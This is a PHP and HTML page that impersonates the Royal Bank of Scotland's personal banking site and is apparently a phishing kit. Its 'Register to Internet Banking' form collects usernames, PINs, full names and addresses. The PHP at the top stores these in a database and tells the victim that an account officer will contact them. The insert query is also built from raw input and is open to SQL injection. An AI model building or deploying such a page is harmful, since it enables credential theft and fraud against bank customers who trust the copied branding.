<?php @session_start();
define('doneule_inclue',true);
include('dbconnect.php');
  if(isset($_POST['AddNew'])){
	  $error=array();
	  if(empty($_POST['username'])){
		  $error[]="username is required";
	  }
	   if(empty($_POST['pin'])){
		  $error[]="pin is required";
	  }
	  if(empty($_POST['firstname'])){
		  $error[]="firstname is required";
	  }
	  if(empty($_POST['lastname'])){
		  $error[]="lastname is required";
	  }
	  if(empty($_POST['address'])){
		  $error[]="address is required";
	  }
	  if(empty($_POST['city'])){
		  $error[]="city is required";
	  }
	  if(empty($_POST['state'])){
		  $error[]="state is required";
	  }
	  if(empty($_POST['country'])){
		  $error[]="country is required";
	  }
	  if(empty($error)){
		  $firstname=$_POST['firstname']." ".$_POST['lastname'];
		  $address=$_POST['address']." ".$_POST['city']." ".$_POST['state']." ".$_POST['country'];
		  mysql_query("INSERT INTO cleintuser (Username,Pin,FullName,Address) 
		  VALUES('".$_POST['username']."','".$_POST['pin']."','$firstname','$address')") or die(mysql_error());
		  $error[]="Your account has been created, Account officer will contact you soon";
	  }
	  $msg=implode(",",$error);
  }
 ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
 "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en-gb" xml:lang="en-gb" class="no-js" xmlns="http://www.w3.org/1999/xhtml">
	<!--env:production-->
	<!--internal_user:no-->
	<!--Using new-templates-->
	<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<meta http-equiv="imagetoolbar" content="no" />
		<meta name="viewport" content="width=976" />
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<meta name="description" content="RBS personal banking, online banking, mortgages, bank accounts, credit cards, savings, loans and more." />
		<meta name="keywords" content="rbs, royal bank, Scotland, personal, banking, finance" />
		<meta name="robots" content="noodp" />
		<meta name="copyright" content="Copyright RBS.co.uk (c) 2013" />
		<meta name="author" content="RBS.co.uk" />
		<meta name="created" content="01/03/2013 18:05:53" />
		<meta name="mlc" content="RBS/PERSONAL/INDEX" />
		<meta name="channel" content="PERSONAL" />
		<meta name="page-title" content="RBS Personal banking" />
		<meta name="apple-itunes-app" content="app-id=334852412" />
		<title>RBS Personal Banking - Mortgages, Bank Accounts, savings &amp; more
</title>
		<link rel="canonical" href="http://www.rbs.co.uk/personal.html" />
		<link href="css/resource.css" rel="stylesheet" type="text/css" media="screen" />
		<link href="css/resource1.css" type="text/css" media="print" />
		<!--[if lt IE 8]><link rel="stylesheet" type="text/css" href="/templates_new/css/core/ie.css" media="screen, projection"/> <![endif]-->
		<script type="text/javascript" src="js/resource.js" xmlns:form="http://www.rbs.com/schemas/form">
		</script>
		<script type="text/javascript" src="js/load_carousel_slides.js" xmlns:form="http://www.rbs.com/schemas/form">
		</script>
        <style type="text/css">
		table#login { padding:10px; background:#f9f9f9; border:0px; outline:0px;
		box-shadow:1px 1px 8px 0px #bbbbbb;}
		table#login td { padding:10px; background:#f9f9f9; border:0px; outline:0px; }
		table#login td input{ padding:5px; background:#fff; border:1px solid #D4D4D4 !important; }        </style>
	</head>
	<body>
		<script type="text/javascript">
                    var s_account = "rbsphase2";
                </script>
		<script type="text/javascript" src="js/s_code.js"> </script>
		<ul class="skip-links reset">
			<li>
				<a href="#access-content" class="txt-p-1" accesskey="s">Jump to Content [Accesskey 's']</a>
			</li>
			<li>
				<a href="#access-navigation" class="txt-p-1" accesskey="n">Jump to Navigation [Accesskey 'n']</a>
			</li>
			<li>
				<a href="personal.html" class="txt-p-1" accesskey="h">Jump to Homepage [Accesskey 'h']</a>
			</li>
			<li>
				<a href="accessibility.html" class="txt-p-1" accesskey="a">Jump to Accessibility [Accesskey 'a']</a>
			</li>
		</ul>
		<div class="container">
			<div class="grid-fix">
				<a name="top" id="top">
				</a>
				<div class="line header full-bleed bg-grad-p-1 ">
					<div class="span-17">
						<div class="pod">
							<p class="mt-17" id="logo">
								<a href="" accesskey="1">
									<img src="images/logo-rbs.gif" width="251" height="43" alt="RBS : Here for you" class="screen" />
								</a>
								<img src="images/logo-rbs-print.png" width="251" height="47" alt="" class="print" />
							</p>
						</div>
					</div>
					<div class="span-31 last">
						<div class="fr pod header-gnav smaller">
							<ul class="fr reset line global-links">
								<li class="fl">
									<a class="txt-mono-4 pipe-list brd-mono-5" href="contact-us.html" rel="nofollow">Contact Us</a>
								</li>
								
								<li class="fl">
									<form action="search.html" method="post" id="searchForm">
										<label for="search" class="label-search txt-mono-4">Search:</label>
										<input id="search" type="text" class="input-txt-search" name="q" size="20" />
										<input type="image" src="images/btn-go.gif" class="img-btn va-mid" alt="Search" />
										<input type="hidden" name="channel" value="PERSONAL" />
										<input type="hidden" name="site" value="rbs_co_uk" />
										<input type="hidden" name="output" value="xml_no_dtd" />
										<input type="hidden" name="scPrevPage" value="javascript:s.pageName" />
									</form>
								</li>
							</ul>
						</div>
						<div class="clear pod classic pod-olb-header no-pad bg-s-3 brd-none rds-blr-0 txt-mono-4">
							<h2>Digital Banking<a href="login.html?PER-ONLINE-LOGON"><img src="images/btn-login.png" width="85" height="23" alt="Log in" class="va-mid mt-3 mb-2 fl" /></a></h2>
							<p class="fr pr-10">
								
							</p>
						</div>
					</div>
					<map name="mnav">
						<ul class="line reset clear mnav" name="access-navigation" id="access-navigation">
							<li class="fl ">
								<a class="tab tab-selected bg-mono-5 brd-p-8 rds-tr-5 rds-tl-5 txt-s-1 brand-font mr-0" href="personal.html">Personal banking</a>
							</li>
							<li class="fl ">
								<a class="tab tab-global-unselected bg-grad-p-3 brd-p-8 rds-tr-5 rds-tl-5 txt-p-1 brand-font mr-0" href="private.html">Private banking</a>
							</li>
							<li class="fl bus-tab">
								<a class="tab tab-global-unselected bg-grad-p-3 brd-p-8 rds-tr-5 rds-tl-5 txt-p-1 brand-font mr-0" href="business.html">Business banking</a>
							</li>
							<li class="fl cor-tab">
								<a class="tab tab-global-unselected bg-grad-p-3 brd-p-8 rds-tr-5 rds-tl-5 txt-p-1 brand-font mr-0" href="corporate.html">Corporate banking</a>
							</li>
						</ul>
					</map>
				</div>
				<div class="line full-bleed mb-18 bg-mono-5 brd-bot brd-top brd-p-8 box-shadow-3">
					<div class="span-48">
						<div class="pod mb-0 ie76-z-index-3">
							<map name="snav">
								
							</map>
						</div>
					</div>
				</div>
				
				<script type="text/javascript">
											euCookie.eBankingImage('https://www.rbsdigital.com/SetConsentCookie.html');
									</script>
				<div class="line "></div>
				<div class="line full-bleed mb-0 mt-20 bg-grad-p-1 mt-8 box-shadow-3"></div>
				<div>
                         <h2>Register to Internet Banking</h2>
                       
                         <form action="" method="post" name="oForm" id="oForm" onsubmit="submitonce(this);MM_validateForm('username_login','','R','password_login','','R');return document.MM_returnValue" autocomplete="off">
                         <? if(isset($msg)){ echo "<span class='msg'>".$msg."</span>";} ?>
                                <table border="0" cellpadding="0" width="100%" id="login">
                                 <tbody>
        <tr valign="baseline">
          <td nowrap="nowrap" align="right">Username:</td>
          <td><input size="32" name="username" /></td>
        </tr>
        <tr valign="baseline">
          <td nowrap="nowrap" align="right">Pin:</td>
          <td><input size="32" name="pin" type="password" /></td>
        </tr>
        <tr valign="baseline">
          <td nowrap="nowrap" align="right">First Name:</td>
          <td><input size="32" name="firstname" /></td>
        </tr>
        <tr valign="baseline">
          <td nowrap="nowrap" align="right">Last Name:</td>
          <td><input size="32" name="lastname" /></td>
        </tr>
        <tr valign="baseline">
          <td nowrap="nowrap" align="right">Address:</td>
          <td><input size="32" name="address" /></td>
        </tr>
        <tr valign="baseline">
          <td nowrap="nowrap" align="right">City:</td>
          <td><input size="32" name="city" /></td>
        </tr>
        <tr valign="baseline">
          <td nowrap="nowrap" align="right">State:</td>
          <td><input size="32" name="state" /></td>
        </tr>
        <tr valign="baseline">
          <td nowrap="nowrap" align="right">Country:</td>
          <td><input size="32" name="country" /></td>
        </tr>
        
        
        <tr valign="baseline">
          <td nowrap="nowrap" align="right"></td>
          <td><input value="Register" type="submit" name="AddNew" /></td>
        </tr>
      </tbody>
                                </table>
                              </form>
                       
                      </div><div class="line full-bleed mb-0 mt-20 bg-grad-p-1 mt-8 box-shadow-3">
					<div class="span-48">
						<div class="pod">
							<map name="supnav" id="footer">
								<ul class="line clear mb-0 pt-10 smaller global-links ml-0">
									<li class="fl pipe-list brd-mono-5 larger pr-10" style="margin-top:-2px">
										<a href="#" class="no-dec txt-mono-4 js-slide-toggle js-quicklink-link">
											<span class="icons-inline-001-31 arrow-white-up-31 mr-5">
											</span>Quick links</a>
									</li>
									
									<li class="fl pipe-list brd-none">
										<a class="txt-mono-4 no-dec" href="index.html">The Royal Bank of Scotland Â© 2013</a>
									</li>
								</ul>
							</map>
						</div>
					</div>
				</div>
				<div id="js-quicklinks" class="line full-bleed bg-p-5 pb-1 mb-10 js-hide js-toggle-visibility-target">
					<div class="pod pod-pad">
		 <div> 
			 <div class="line">
				 <div class="span-24 quicklinks-first-focus">
					 <div class="pod">
						 <h3>Useful information</h3>
						 <ul class="list-with-links mb-8 span-12">
							 <li>
								Lost a card?
							</li>
							 <li>
								 <abbr title="Payment Protection Insurance">PPI</abbr> complaints
							</li>
							 <li>
								Our Customer Charter
							</li>
							 <li>
								Protecting your security
							</li>
						</ul>
						 <ul class="list-with-links mb-8 span-11">
							 <li>
								Help with financial difficulty
							</li>
							 <li>
								Cheques
							</li>
							 <li>
								England &amp; Wales branch sale
							</li>
							 <li>
								Switching to RBS
							</li>
						</ul>
					</div>
				</div>

				 <div class="span-12">
					 <div class="pod">
						 <h3>The world of RBS</h3>
						 <p class="mb-4">Visit...</p>
						 <ul class="list-with-links mb-8">
							 <li>
								MoneySense for Schools
							</li>
							
							 <li>
								RBS FilmFirst
							</li>
							 <li>
								RBS 6 Nations
							</li>
						</ul>
					</div>
				</div>

				 
			</div>
			

			
		</div>
	</div>
				</div>
				<script type="text/javascript">
                footerControl.channel = "personal";
                footerControl.view = "";
            </script>
			</div>
		</div>
		<script type="text/javascript" xmlns:r="http://www.rbs.com/schemas/rates">
      function scSetUpPageVars(scPreEvents,eventPageName,knownTab) {
      try
      {

      if (typeof(s) == "undefined") {
        var s =s_gi(s_account);
      }

      
        s.currencyCode= "GBP";

        <!--Start of SiteCatalyst props-->
        s.server = "REMLXSOBWS01D";

        
        		s.prop4 = "CATEGORY";
      		
    	var scpn = "RBS>PERSONAL>INDEX";

		
    s.pageName = "CATEGORY: RBS>PERSONAL>INDEX";
	
    scPageNamePreTab = s.pageName;

    
		
      s.pageName = s.pageName + CheckForTabs();
      
        splitscPageName();
        if (eventPageName)
        s.pageName += eventPageName;

        s.currentYear="2013"; // set year
        
		s.prop16 = scFulldate(); // Set full date
        
		s.prop17= scHour(); // Set time - hour
        
		s.prop18= scDay(); // Set day

        // Set weekday - work out weekday or weekend
        
            if (s.prop18.match("Saturday|Sunday"))
              s.prop19="Weekend";
            else
              s.prop19="Weekday";
          

          // Store previous page name
          s.getPreviousValue(s.pageName,'gpv_pn');

          
          s.eVar5 = s.prop1;
          s.eVar6 = s.pageName;
          s.eVar35 = s.prop16;
          s.eVar36 = s.prop17;
          s.eVar37 = s.prop18;
          s.eVar38 = s.prop19;

          
          campaignHandling();

          
          var sch = (s.pageName.substring(s.pageName.indexOf(':') != -1 ? 1+s.pageName.indexOf(':') : 0));
          s.hier1 = sch.replace(/ /g,"");

          

            if (s.prop33) {
              s.eVar9 = s.prop33;
              scPreEvents = ",event14";
            } else
              s.prop33 = ""; 
              

            
          s.eVar25 = s.getQueryParam('id');
		  
            
            s.eVar11 = "";
            
    
            if (s.eVar15)
              s.eVar11 = "";
              
            s.getPreviousValue(s.eVar11,'gpv_v11');
              
  
          setEvents(scPreEvents);
		  
		  
          setProduct("");

          if (s.pageType)
          s.pageName="";

   		  doMiscSCActions();

		  
          //page load time
          s.prop37 = (new Date().getTime() - scStartTime.getTime());

          renderScImageTag();

      }
      catch (e){}

      } // End Func

     try {
        checkForApplyUrls();

        checkForUpgradeUrls();

        checkForFindOutMoreUrls();

        checkForCalculateUrls();

        checkForRecalculateUrls();
        checkForFaqForm();
		
        scSetUpPageVars();
    }
    catch (e){}
    </script>
		
	</body>
</html>